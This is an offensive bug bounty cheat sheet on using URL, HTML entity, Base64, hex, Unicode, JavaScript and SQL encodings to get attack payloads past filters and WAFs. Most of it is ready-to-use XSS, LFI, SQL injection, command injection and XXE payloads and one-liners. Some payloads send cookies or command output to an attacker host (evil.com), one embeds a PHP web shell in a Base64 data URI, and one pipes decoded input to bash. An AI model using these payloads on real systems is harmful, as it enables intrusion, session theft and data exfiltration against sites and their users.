🔐 Encoding & Decoding for Bug Bounty

Complete Guide to Character Encoding for Web App Exploitation

XSS LFI SQLi WAF Bypass

May 2026

📑 Table of Contents

🔗 1. URL Encoding (Percent-Encoding)

URL encoding replaces unsafe ASCII characters with `%` followed by two hex digits. Used in query parameters, paths, and fragments.

🔑 Common Encoded Characters

Char	Encoded	Use Case
Space	`%20 or +`	Query strings
&	`%26`	Parameter injection
=	`%3D`	Assignment bypass
?	`%3F`	Query injection
#	`%23`	Fragment/comment
<	`%3C`	XSS payload
>	`%3E`	XSS payload
"	`%22`	Attribute break
'	`%27`	SQL/XSS
/	`%2F`	LFI/Path traversal
\	`%5C`	Windows path
:	`%3A`	Protocol smuggling
;	`%3B`	Cookie separator
%	`%25`	Double encoding

> 💡 **Tip:** Modern applications may decode %25 (percent) to % then decode the result again — enabling double encoding attacks.

🔥 Bug Bounty Payloads

```
# XSS via URL-encoded parameter
?search=%3Cscript%3Ealert(1)%3C%2Fscript%3E

# LFI / Path Traversal
?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd  (double encoded)

# Open Redirect
?redirect=https%3A%2F%2Fevil.com

# SQLi space bypass
?id=1%09AND%091=1  (%09 = tab)
?id=1%0bAND%0b1=1  (%0b = vertical tab)

# Command injection (encoded pipe)
?file=cat%20/etc/passwd%0a
?cmd=whoami%0a  (%0a = newline)
```

⚡ One-Liners

```
# Python URL encode
python3 -c "import urllib.parse; print(urllib.parse.quote('<script>alert(1)</script>'))"

# Python URL decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('%3Cscript%3E'))"

# Bash URL encode
echo -n '<script>' | jq -sRr @uri

# Bash URL decode
echo -n '%3Cscript%3E' | python3 -c "import sys,urllib.parse;
print(urllib.parse.unquote(sys.stdin.read()))"

# Burp: right-click > URL-encode / URL-decode selection
```

🌐 2. HTML Entities

HTML entities represent characters using `&name;` or `&#number;` or `&#xhex;` format. Critical for XSS filter bypass when < and > are blocked.

🔑 Entity Reference Table

Char	Named	Decimal	Hex	Bug Bounty Use
<	<	<	<	Tag open (XSS)
>	>	>	>	Tag close (XSS)
"	"	"	"	Attribute break
'	'	'	'	Event handler
&	&	&	&	Entity chain
/	/	/	/	Path/URL
=	=	=	=	Assignment
(	(	(	(	Function call
)	)	)	)	Function call
:	:	:	:	Protocol
;	;	;	;	Terminator

> ⚠️ **Warning:** If the app decodes HTML entities *before* XSS filtering, encoding < as < bypasses filters looking for literal <.

🔥 XSS via HTML Entities

```
# Decimal entities
&lt;img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)&gt;

# Hex entities
&lt;img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)&gt;
```

```
# Mixed encoding
&lt;img src=x onerror=&#x61&#108&#101&#114&#116(1)&gt;

# Without angle brackets (SVG tag via entity)
&lt;svg onload=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)&gt;

# JavaScript protocol in href
&lt;a href="javascript:&#97;&#108;&#101;&#114;&#116;(document.domain)"&gt;Click&lt;/a&gt;
```

⚡ One-Liners

```
# Python HTML encode
python3 -c "import html; print(html.escape('<script>alert(1)</script>'))"

# Python encode to decimal entities
python3 -c "s='<script>'; print(''.join(f'&#{ord(c)};' for c in s))"

# Python encode to hex entities
python3 -c "s='<script>'; print(''.join(f'&#x{ord(c):x};' for c in s))"

# CyberChef: To HTML Entity / From HTML Entity
```

🧬 3. Base64 Encoding

Base64 encodes binary data to ASCII text using 64 characters (A-Z, a-z, 0-9, +, /). Used in data URIs, JWT tokens, Basic Auth, and filter bypasses.

🔑 Base64 Variants

Variant	Alphabet	Use Case
Standard	`A-Z a-z 0-9 + / =`	HTTP headers, data URIs
URL-safe	`A-Z a-z 0-9 - _`	JWT, URL parameters
No padding	`Omit =`	JWT, compact encoding

🔥 Bug Bounty Applications

```
# XSS via data URI (Base64 encoded script)
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# XSS via Base64 src
&lt;iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">&gt;

# Basic Auth bypass attempts
Authorization: Basic YWRtaW46YWRtaW4=   (admin:admin)
Authorization: Basic dGVzdDp0ZXN0       (test:test)

# JWT manipulation (decode, modify, re-encode)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

# LFI filter bypass (Base64 PHP filter)
php://filter/convert.base64-encode/resource=/etc/passwd

# XXE OOB data exfil via Base64
&lt;!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"&gt;
```

> 🔶 **Tip:** Some WAFs inspect only Base64-decoded content. Wrap payload in double Base64 to confuse them: Base64(Base64(payload)).

⚡ One-Liners

```
# Base64 encode
python3 -c "import base64; print(base64.b64encode(b'<script>alert(1)</script>').decode())"
echo -n '<script>alert(1)</script>' | base64

# Base64 decode
python3 -c "import base64;
print(base64.b64decode('PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==').decode())"
echo 'PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==' | base64 -d

# URL-safe Base64
python3 -c "import base64; print(base64.urlsafe_b64encode(b'payload').decode())"

# CyberChef: From Base64 / To Base64
```

🔢 4. Hexadecimal Encoding

Hex represents each byte as two hex digits (0-9, a-f). Used in URL encoding, SQL CHAR(), JavaScript \x escapes, and binary data representation.

🔑 Hex Formats

Format	Example	Context
`0x41`	`0x3C3E`	SQL, programming
`\x41`	`\x3C\x3E`	Python, JS, C strings
`%41`	`%3C%3E`	URL encoding
`&#x41;`	`&#x3C;`	HTML entities
`41`	`3C3E`	Raw hex string
`\u0041`	`\u003C`	JS/JSON Unicode

🔥 Exploitation Payloads

```
# JavaScript \x escape XSS
&lt;script&gt;eval('\x61\x6c\x65\x72\x74\x28\x31\x29')&lt;/script&gt;

# JavaScript \u Unicode XSS
&lt;script&gt;\u0061\u006c\u0065\u0072\u0074(1)&lt;/script&gt;

# SQL CHAR() concatenation (hex to ASCII)
SELECT CHAR(0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E);

# SQL hex literal for string
SELECT 0x3C7363726970743E616C65727428313C2F7363726970743E;

# PHP hex-encoded argument
?cmd=0x77686f616d69   # whoami in hex

# CSS escape for injection
\3C script\3E  (CSS hex escape syntax)
```

⚡ One-Liners

```
# Text to hex
python3 -c "s='alert'; print(''.join(f'{ord(c):02x}' for c in s))"

# Hex to text
python3 -c "h='616c657274'; print(bytes.fromhex(h).decode())"

# Python \x escape string
python3 -c "s='alert(1)'; print(''.join(f'\\x{ord(c):02x}' for c in s))"

# Bash hex dump
echo -n "alert" | xxd -p
echo "616c657274" | xxd -r -p

# CyberChef: To Hex / From Hex
```

🌍 5. Unicode & UTF-8 Encoding

Unicode assigns a code point to every character. UTF-8 is the dominant encoding. Overlong encodings and homoglyphs enable filter bypasses.

🔑 UTF-8 Multi-byte Sequences

Range	Bytes	Template
U+0000 - U+007F	1	`0xxxxxxx`
U+0080 - U+07FF	2	`110xxxxx 10xxxxxx`
U+0800 - U+FFFF	3	`1110xxxx 10xxxxxx 10xxxxxx`
U+10000 - U+10FFFF	4	`11110xxx 10xxxxxx 10xxxxxx 10xxxxxx`

⚠️ **Critical:Overlong UTF-8 encoding** represents ASCII characters using more bytes than necessary. < (0x3C) can be encoded as 0xC0 0xBC (2-byte overlong). Some parsers accept this, bypassing filters.

🔥 UTF-8 Exploitation

```
# Overlong encoding of < (0x3C)
# 2-byte overlong: 0xC0 0xBC
# 3-byte overlong: 0xE0 0x80 0xBC
# 4-byte overlong: 0xF0 0x80 0x80 0xBC

# PHP vulnerable to overlong UTF-8 (older libxml)
?input=%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE

# IIS + ASP classic UTF-8 canonicalization
# %C0%AF = overlong / → bypasses path checks
?file=..%C0%AF..%C0%AF..%C0%AFwindows%C0%AFwin.ini

# Unicode normalization bypass
# NFC: single character vs NFD: decomposed
# U+00E9 (é) vs U+0065 U+0301 (e + combining acute)
# Some filters normalize before comparison

# Homoglyph attack
```

```
# U+0430 (а) Cyrillic 'a' looks like Latin U+0061 (a)
# javascript:alert(1) → javascript:alert(1) (Cyrillic a)
```

⚡ One-Liners

```
# Python UTF-8 encode/decode
python3 -c "s='<script>'; print(s.encode('utf-8'))"
python3 -c "print(b'\x3c\x73\x63\x72\x69\x70\x74\x3e'.decode('utf-8'))"

# Generate overlong encoding
python3 -c "print(bytes([0xC0, 0xBC]).decode('utf-8', errors='replace'))"

# Homoglyph generator
python3 -c "s='javascript'; cyr=''.join(chr(0x430 if c=='a' else ord(c)) for c in s);
print(cyr)"

# Check Unicode name
python3 -c "import unicodedata; print(unicodedata.name('а'))"  # CYRILLIC SMALL LETTER A
```

🎭 6. Double Encoding

Double encoding applies an encoding scheme twice. Applications with multiple decode layers (proxy → WAF → app) may decode once leaving encoded characters that bypass inner filters.

🔑 Double Encoding Table

Original	Single Encode	Double Encode	Decode Steps
`<`	`%3C`	`%253C`	%25 -> % then %3C -> <
`>`	`%3E`	`%253E`	Same
`/`	`%2F`	`%252F`	Same
`\`	`%5C`	`%255C`	Same
`=`	`%3D`	`%253D`	Same
`'`	`%27`	`%2527`	Same

> ⚠️ **Warning:** Many WAFs decode once and inspect. If the app decodes again, the WAF sees %3C (safe) but the app sees < (dangerous).

🔥 Attack Scenarios

```
# Double URL-encoded LFI bypasses WAF
?page=..%252f..%252f..%252fetc%252fpasswd
# Step 1: WAF decodes %25→%  → sees %2f..%2f (safe-ish)
# Step 2: App decodes %2f→/   → executes ../../../etc/passwd

# Double-encoded XSS
?name=%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E

# Triple encoding (rare but possible)
?page=..%25252f..%25252fetc%25252fpasswd

# HTML entity + URL encoding mix
?param=%26%2334%3B%2520onmouseover%253D%2522alert%25281%2529%2522%2520%26%2334%3B

# Base64 + URL encoding
?data=JTI1M3NjcnlwdCUyNTNFYWxlcnQlMjUyODElMjUyOQ==
```

⚡ One-Liners

```
# Double URL-encode
python3 -c "import urllib.parse; print(urllib.parse.quote(urllib.parse.quote('<script>alert(1)
</script>')))"

# Double URL-decode
python3 -c "import urllib.parse;
print(urllib.parse.unquote(urllib.parse.unquote('%253Cscript%253E')))"

# Check if server double-decodes
# Send: %253C → if response contains <, double decode present
```

📜 7. JavaScript Encoding

JavaScript supports multiple escape sequences for representing characters in strings and identifiers. Useful when XSS filters block quotes or angle brackets.

🔑 JS Escape Formats

Type	Syntax	Example	Output
Hex escape	`\xHH`	`\x3C`	<
Unicode escape	`\uHHHH`	`\u003C`	<
Unicode brace	`\u{H+}`	`\u{3C}`	<
Octal escape	`\OOO`	`\74`	<
Template literal	`` `${expr}` ``	`` `${alert(1)}` ``	executes alert
JSFuck	`[]()!+`	`alert`	no alphanum

🔥 XSS Payloads

```
# \x hex escape
&lt;script&gt;eval('\x61\x6c\x65\x72\x74\x28\x31\x29')&lt;/script&gt;

# \u Unicode escape
&lt;script&gt;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029&lt;/script&gt;

# \u{} brace syntax (ES6+)
&lt;script&gt;\u{61}\u{6c}\u{65}\u{72}\u{74}\u{28}1\u{29}&lt;/script&gt;

# Octal escape
&lt;script&gt;\141\154\145\162\164(1)&lt;/script&gt;

# Template literal (backtick execution)
&lt;script&gt;`${alert(1)}`&lt;/script&gt;
&lt;script&gt;`${document.location='https://evil.com/?c='+document.cookie}`&lt;/script&gt;

# JSFuck - no alphanumeric characters
# alert(1) encoded as []()!+
# Use jsfuck.com or jsfuck encoder

# FromCharCode
```

```
&lt;script&gt;String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47
,115,99,114,105,112,116,62)&lt;/script&gt;

# atob (Base64 decode) + eval
&lt;script&gt;eval(atob('YWxlcnQoMSk='))&lt;/script&gt;

# location.href manipulation
&lt;script&gt;location.href='\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2
8\x31\x29'&lt;/script&gt;
```

> ✅ **Pro Tip:** Combine eval + atob + Base64 to bypass almost any alphanumeric-only filter: eval(atob('YWxlcnQoMSk='))

⚡ One-Liners

```
# Python JS \x escape generator
python3 -c "s='alert(1)'; print(''.join(f'\\x{ord(c):02x}' for c in s))"

# Python JS \u escape generator
python3 -c "s='alert(1)'; print(''.join(f'\\u{ord(c):04x}' for c in s))"

# Python fromCharCode generator
python3 -c "s='alert(1)'; print(','.join(str(ord(c)) for c in s))"

# JSFuck online encoder: https://jsfuck.com
```

🗄️ 8. SQL Encoding

Databases support encoding functions and hex literals that obfuscate SQL injection payloads, bypassing keyword filters and WAF rules.

🔑 SQL Encoding Methods

DBMS	Method	Example
MySQL	`CHAR()`	`CHAR(83,69,76,69,67,84)`
MySQL	`0xhex`	`0x53454C454354`
MySQL	`UNHEX()`	`UNHEX('53454C454354')`
MySQL	`CONCAT()`	`CONCAT(0x53,0x45,0x4C,0x45,0x43,0x54)`
MSSQL	`CHAR()`	`CHAR(83)+CHAR(69)+CHAR(76)+...`
MSSQL	`N'unicode'`	`N'SELECT'`
Oracle	`CHR()`	`CHR(83)||CHR(69)||...`
Oracle	`UTL_RAW`	`UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW('...'))`
PostgreSQL	`CHR()`	`CHR(83)||CHR(69)||...`
PostgreSQL	`E'\\x...'`	`E'\\x53454C454354'`
SQLite	`CHAR()`	`CHAR(83,69,76,69,67,84)`

🔥 SQLi Payloads

```
# MySQL CHAR() bypass
?id=1' UNION SELECT * FROM (SELECT CHAR(117,115,101,114))a-- -

# MySQL hex literal
?id=1' UNION SELECT 0x3C3F706870206570686F20313B3F3E-- -

# MySQL CONCAT + hex
?id=1' AND 1=CONCAT(CHAR(83),CHAR(69),CHAR(76),CHAR(69),CHAR(67),CHAR(84))-- -

# MSSQL CHAR concatenation
```

```
# Oracle CHR
?id=1' || (SELECT CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84) FROM DUAL)--

# PostgreSQL CHR
?id=1' AND CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84)=CHR(83)||CHR(69)|| ... --
```

⚡ One-Liners

```
# Generate MySQL CHAR()
python3 -c "s='SELECT'; print('CHAR('+','.join(str(ord(c)) for c in s)+')')"

# Generate hex literal
python3 -c "s='SELECT'; print('0x'+''.join(f'{ord(c):02X}' for c in s))"

# Generate MSSQL CHAR()
python3 -c "s='SELECT'; print('+'.join(f'CHAR({ord(c)})' for c in s))"

# Generate Oracle CHR()
python3 -c "s='SELECT'; print('||'.join(f'CHR({ord(c)})' for c in s))
```

⚔️ 9. Encoding for XSS

XSS filters often block specific strings. Encoding transforms payloads to bypass pattern matching while preserving execution semantics.

🔑 Encoding by Context

Context	Filter Blocks	Encoding Solution
HTML body	`<script>`	<img src=x onerror=alert(1)>, entities
HTML attribute	`quotes`	` onmouseover=alert(1) ` (backtick)
JavaScript	`alert`	\x61\x6c\x65\x72\x74, atob
URL parameter	`<`	%3C, double encoding
CSS	`expression()`	\65\78\70\72\65\73\73\69\6f\6e
SVG	`<`	<svg onload=alert(1)>, XML entities

🔥 Advanced XSS Payloads

```
# HTML entity + eval
&lt;img src=x
onerror="eval('&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;1&amp;#41;')"&gt;

# Base64 + data URI in iframe
&lt;iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&gt;

# Unicode escapes in JS context
&lt;script&gt;\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029&lt;/script&gt;

# JS octal + eval
&lt;script&gt;eval('\141\154\145\162\164\50\61\51')&lt;/script&gt;

# Template literals with expression
&lt;script&gt;`${alert(document.cookie)}`&lt;/script&gt;

# SVG + XML entity
&lt;svg&gt;&lt;desc&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/desc&gt;&lt;/svg&gt;

# MHTML + Base64 (IE/Edge legacy)
```

```
# VBScript encoded (IE)
&lt;a href="vbscript:MsgBox(1)"&gt;Click&lt;/a&gt;

# charset bypass
&lt;meta charset="ibm037"&gt;  (EBCDIC encoding confusion)
```

💡 **Context Matters:** Always match encoding to the injection context. HTML entities work in HTML, \x escapes work in JS strings, URL encoding works in URLs.

📂 10. Encoding for LFI / Path Traversal

LFI filters block ../, null bytes, and absolute paths. Encoding bypasses path sanitization at various layers.

🔑 Encoding Techniques

Technique	Payload	Target
URL encoding	`%2e%2e%2f`	Filters checking ../
Double encoding	`%252e%252e%252f`	WAF + app decode layers
Unicode/overlong	`%c0%af`	IIS/ASP UTF-8 canonicalization
Null byte	`%00`	PHP <5.3.4 (truncates string)
Base64 wrapper	`php://filter/convert.base64-encode/resource=...`	PHP stream wrappers
Hex encoding	`php://filter/read=string.rot13/resource=...`	PHP filter chains

🔥 LFI Payloads

```
# Basic URL-encoded traversal
?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double-encoded
?page=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Unicode slash (IIS)
?page=..%c0%af..%c0%af..%c0%afwindows%c0%afwin.ini
?page=..%c1%9c..%c1%9c..%c1%9cwindows%c1%9cwin.ini

# Null byte truncation (legacy PHP)
?page=../../../etc/passwd%00.jpg
?page=../../../../../../../etc/passwd%2500.jpg

# PHP Base64 filter
?page=php://filter/convert.base64-encode/resource=/etc/passwd
```

```
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# PHP rot13 + base64 chain
?page=php://filter/read=string.rot13|convert.base64-encode/resource=../../../etc/passwd

# Data URI + Base64 (file upload bypass)
data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Log poisoning with encoded path
?page=../../../../../../../var/log/apache2/access.log%00
?page=../../../../../../../proc/self/environ%00
```

⚡ One-Liners

```
# Generate double-encoded traversal
python3 -c "import urllib.parse; p='../../../etc/passwd';
print(urllib.parse.quote(urllib.parse.quote(p)))"

# Quick path traversal fuzz
ffuf -u 'http://target.com/page=FUZZ' -w paths.txt -enc url
```

💉 11. Encoding for SQL Injection

SQLi filters block keywords like SELECT, UNION, spaces, and comments. Encoding obfuscates the payload structure.

🔑 Encoding Techniques

Technique	Example	Filter Bypass
URL encoding	`%53%45%4C%45%43%54`	Keyword matching
Hex literal	`0x53454C454354`	String keyword filters
CHAR/CHR()	`CHAR(83,69,76,69,67,84)`	Keyword filters
Unicode escapes	`\u0053\u0045\u004C\u0045\u0043\u0054`	JS-based queries
Comments	`/**/, /*!50000SELECT*/`	Space removal
Case variation	`SeLeCt, UnIoN`	Case-sensitive filters
Encoding concat	`CONCAT(CHAR(83),CHAR(69),...)`	String detection

🔥 SQLi Payloads

```
# MySQL hex string bypass
?id=1' UNION SELECT * FROM (SELECT 0x3C3F7068702070687069696E666F28293B203F3E)a-- -

# MySQL CHAR() + UNION
?id=1' UNION SELECT CHAR(117,115,101,114),CHAR(112,97,115,115)-- -

# MSSQL CHAR() concatenation
?id=1'; DECLARE @cmd VARCHAR(100); SET
@cmd=CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84); EXEC(@cmd)--

# Oracle CHR()
?id=1' || (SELECT CHR(83)||CHR(69)||CHR(76)||CHR(69)||CHR(67)||CHR(84) FROM DUAL)--

# PostgreSQL E'\\x'
?id=1' AND E'\\x53454C454354'='SELECT'--

# Comment-based space replacement
?id=1'/**/UNION/**/SELECT/**/1,2,3--
```

```
# URL-encoded keywords
?id=%55%4E%49%4F%4E%20%53%45%4C%45%43%54%201,2,3--

# Double-encoded
?id=%2555%254E%2549%254F%254E%2520%2553%2545%254C%2545%2543%2554%25201,2,3--
```

✅ **Pro Tip:** MySQL /*!50000 ... */ is a conditional comment. MySQL 5.0+ executes it; other DBs treat it as a comment. Perfect for bypass.

⚡ One-Liners

```
# Convert string to MySQL hex
python3 -c "s='SELECT'; print('0x'+''.join(f'{ord(c):02X}' for c in s))"

# Generate MySQL CHAR() payload
python3 -c "s='SELECT version()'; print('CHAR('+','.join(str(ord(c)) for c in s)+')')"

# URL-encode SQL keywords
python3 -c "import urllib.parse; print(urllib.parse.quote('UNION SELECT 1,2,3--'))
```

💻 12. Encoding for Command Injection

Command injection filters block shell metacharacters (;, |, &, $, backticks). Encoding bypasses shell input validation.

🔑 Shell Metacharacter Encodings

Char	URL	Double URL	Hex	Use
`;`	`%3B`	`%253B`	`0x3B`	Command separator
`|`	`%7C`	`%257C`	`0x7C`	Pipe stdout
`&`	`%26`	`%2526`	`0x26`	Background
`$`	`%24`	`%2524`	`0x24`	Variable
`` ` ``	`%60`	`%2560`	`0x60`	Command subst
`(`	`%28`	`%2528`	`0x28`	Subshell
`)`	`%29`	`%2529`	`0x29`	Subshell
`<`	`%3C`	`%253C`	`0x3C`	Redirect in
`>`	`%3E`	`%253E`	`0x3E`	Redirect out
`\n`	`%0A`	`%250A`	`0x0A`	Newline separator

🔥 Command Injection Payloads

```
# URL-encoded semicolon
?host=google.com%3Bwhoami

# URL-encoded pipe
?host=google.com%7Cwhoami
?host=google.com%7C%7Cwhoami

# Backtick substitution (encoded)
?host=google.com%60whoami%60

# Newline injection
?cmd=ping%0Awhoami%0Acat%20/etc/passwd
```

```
# Double-encoded bypass
?cmd=google.com%253Bwhoami
?cmd=google.com%257Cwhoami

# Hex-encoded command (PHP)
?cmd=0x77686f616d69  # whoami

# Base64 + Bash decode
?cmd=echo%20YW1pCg==%20|%20base64%20-d%20|%20bash

# Shell variable expansion bypass
?cmd=/bin$u/bash$u-c$u"whoami"
?cmd=/???/??t%20/???/p??s??   # wildcard /bin/cat /etc/passwd

# IFS bypass
?cmd=bash${IFS}-c${IFS}whoami

# printf format
?cmd=$(printf%20'\x77\x68\x6f\x61\x6d\x69')
```

⚡ One-Liners

```
# Test command injection with encoded separators
curl 'http://target.com/api?cmd=whoami%0A'
curl 'http://target.com/api?cmd=whoami%3B'
curl 'http://target.com/api?cmd=whoami%7C'

# Base64 encode command for blind injection
python3 -c "import base64; print(base64.b64encode(b'curl http://evil.com/?
c=$(whoami)').decode())
```

🛡️ 13. WAF Bypass via Encoding

WAFs use pattern matching and normalization. Multiple encoding layers, unusual encodings, and parser differences create bypass opportunities.

🔑 WAF Bypass Techniques

Technique	Mechanism	Success Factor
Double encoding	%253C -> WAF sees %3C (safe), app sees <	Decode layer mismatch
Unicode/overlong	%C0%AF for /	UTF-8 parser differences
Case variation	SeLeCt, <ScRiPt>	Case-sensitive regex
Comment injection	/*!50000SELECT*/	Comment stripping vs execution
Encoding concat	CHAR(), CONCAT()	String literal detection
Base64 wrapping	eval(atob('...'))	JS context, alphanumeric filter
JSON Unicode	\u003C in JSON body	JSON parser vs WAF
XML/CDATA	<![CDATA[<script>]]>	XML parser normalization
HTTP param pollution	Same param multiple times	Parser concatenation difference
Charset confusion	UTF-16, EBCDIC, Shift-JIS	Character set normalization

🔥 Advanced WAF Bypass Payloads

```
# Double-encoded XSS
?name=%253Cimg%2520src%253Dx%2520onerror%253Dalert%25281%2529%253E

# Unicode + case variation XSS
?name=%C0%BC%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%C0%BE%2F%73%63%72%69%70%74%3E

# JSON body with \u escapes (bypasses JSON WAF)
POST /api/user HTTP/1.1
```

```
Content-Type: application/json

{"name":"\u003cimg src=x onerror=\u0022alert(1)\u0022\u003e"}

# XML entity expansion + CDATA
&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE foo [&lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;]&gt;
&lt;foo&gt;&lt;![CDATA[&lt;script&gt;]]&gt;&xxe;&lt;![CDATA[&lt;/script&gt;]]&gt;&lt;/foo&gt;

# Parameter pollution + encoding
GET /search?q=safe&amp;q=%253Cscript%253Ealert(1)%253C%252Fscript%253E
# WAF checks q=safe, app concatenates or uses second value

# Content-Type confusion
Content-Type: application/x-www-form-urlencoded; charset=UTF-16
# Body encoded in UTF-16 bypasses ASCII-focused WAF

# HTTP/2 request smuggling + encoding
# Encode forbidden headers via HPACK dynamic table indexing
```

🔶 **Golden Rule:** Send encoded payload → WAF sees safe → backend decodes → payload executes. Always test how many decode layers exist.

🧰 14. Tools & One-Liners

🔑 Essential Tools

Tool	Usage	Encoding Support
CyberChef	github.com/gchq/CyberChef	All types (GUI)
Burp Suite	Decoder tab	URL, Base64, HTML, hex
Hackvertor	Burp extension	Automated encoding chains
sqlmap	--tamper	Built-in tamper scripts
XSStrike	--encode	URL, Base64, hex
commix	--encoding	Base64, hex
Python	urllib, base64, html	All encodings
jq	@uri, @base64	URL, Base64
xxd	-p, -r	Hex
openssl	enc -base64	Base64

⚡ Universal One-Liners

```
# ========== URL ENCODING ==========
# Encode
python3 -c "import urllib.parse; print(urllib.parse.quote('PAYLOAD'))"
# Decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('PAYLOAD'))"
# Double encode
python3 -c "import urllib.parse; print(urllib.parse.quote(urllib.parse.quote('PAYLOAD')))"

# ========== BASE64 ==========
# Encode
python3 -c "import base64; print(base64.b64encode(b'PAYLOAD').decode())"
echo -n 'PAYLOAD' | base64
# Decode
python3 -c "import base64; print(base64.b64decode('PAYLOAD').decode())"
echo 'PAYLOAD' | base64 -d
```

```
# ========== HEX ==========
# Text to hex
python3 -c "print(''.join(f'{ord(c):02x}' for c in 'PAYLOAD'))"
echo -n 'PAYLOAD' | xxd -p
# Hex to text
python3 -c "print(bytes.fromhex('PAYLOAD').decode())"
echo 'PAYLOAD' | xxd -r -p

# ========== HTML ENTITIES ==========
# To entities (named)
python3 -c "import html; print(html.escape('PAYLOAD'))"
# To decimal entities
python3 -c "print(''.join(f'&#{ord(c)};' for c in 'PAYLOAD'))"
# To hex entities
python3 -c "print(''.join(f'&#x{ord(c):x};' for c in 'PAYLOAD'))"

# ========== JS ESCAPES ==========
# \x escape
python3 -c "print(''.join(f'\\x{ord(c):02x}' for c in 'PAYLOAD'))"
# \u escape
python3 -c "print(''.join(f'\\u{ord(c):04x}' for c in 'PAYLOAD'))"
# fromCharCode
python3 -c "print(','.join(str(ord(c)) for c in 'PAYLOAD'))"

# ========== SQL ==========
# MySQL CHAR()
python3 -c "print('CHAR('+','.join(str(ord(c)) for c in 'PAYLOAD')+')')"
# MySQL hex literal
python3 -c "print('0x'+''.join(f'{ord(c):02X}' for c in 'PAYLOAD'))"
# MSSQL CHAR()
python3 -c "print('+'.join(f'CHAR({ord(c)})' for c in 'PAYLOAD'))"
# Oracle CHR()
python3 -c "print('||'.join(f'CHR({ord(c)})' for c in 'PAYLOAD'))
```

📋 15. Quick Cheat Sheet

🔑 Character Quick-Reference

Char	URL	HTML dec	HTML hex	Base64	Hex	JS \x	JS \u
<	%3C	<	<	PA==	3C	\x3C	\u003C
>	%3E	>	>	Pg==	3E	\x3E	\u003E
"	%22	"	"	Ig==	22	\x22	\u0022
'	%27	'	'	Jw==	27	\x27	\u0027
/	%2F	/	/	Lw==	2F	\x2F	\u002F
\	%5C	\	\	XA==	5C	\x5C	\u005C
:	%3A	:	:	Og==	3A	\x3A	\u003A
;	%3B	;	;	Ow==	3B	\x3B	\u003B
=	%3D	=	=	PQ==	3D	\x3D	\u003D
&	%26	&	&	Jg==	26	\x26	\u0026
(	%28	(	(	KA==	28	\x28	\u0028
)	%29	)	)	KQ==	29	\x29	\u0029
Space	%20			IA==	20	\x20	\u0020
%	%25	%	%	JQ==	25	\x25	\u0025
#	%23	#	#	Iw==	23	\x23	\u0023
$	%24	$	$	JA==	24	\x24	\u0024
`	%60	`	`	Yg==	60	\x60	\u0060
|	%7C					fA==	7C	\x7C	\u007C
+	%2B	+	+	Kw==	2B	\x2B	\u002B

🔑 Word Quick-Reference

Word	MySQL CHAR()	MySQL Hex	JS \u	Base
SELECT	`CHAR(83,69,76,69,67,84)`	`0x53454C454354`	`\u0053\u0045\u004C\u0045\u0043\u0054`	`U0VM`
UNION	`CHAR(85,78,73,79,78)`	`0x554E494F4E`	`\u0055\u004E\u0049\u004F\u004E`	`VU5J`
alert	`CHAR(97,108,101,114,116)`	`0x616C657274`	`\u0061\u006C\u0065\u0072\u0074`	`YWxl`
script	`CHAR(115,99,114,105,112,116)`	`0x736372697074`	`\u0073\u0063\u0072\u0069\u0070\u0074`	`c2Ny`

🎯 XSS Priority

- HTML entities: <
- URL encode: %3C
- JS \x: \x3C
- JS \u: \u003C
- Base64 + eval + atob

🎯 LFI Priority

- URL: %2e%2e%2f
- Double: %252e%252e%252f
- Unicode: %c0%af
- Null: %00
- PHP filters: base64, rot13

🎯 SQLi Priority

- CHAR()/CHR()
- Hex literals 0x...
- Comments /**/
- Case variation
- Double URL encode

🎯 Command Injection Priority

- Newline %0A
- Encoded separators
- Backticks %60
- Base64 + decode pipe
- Wildcard /???/??t

💡 **Remember:** The goal is not to memorize every encoding — it is to understand *when* and *where* to apply encoding based on parser behavior, filter layers, and target context.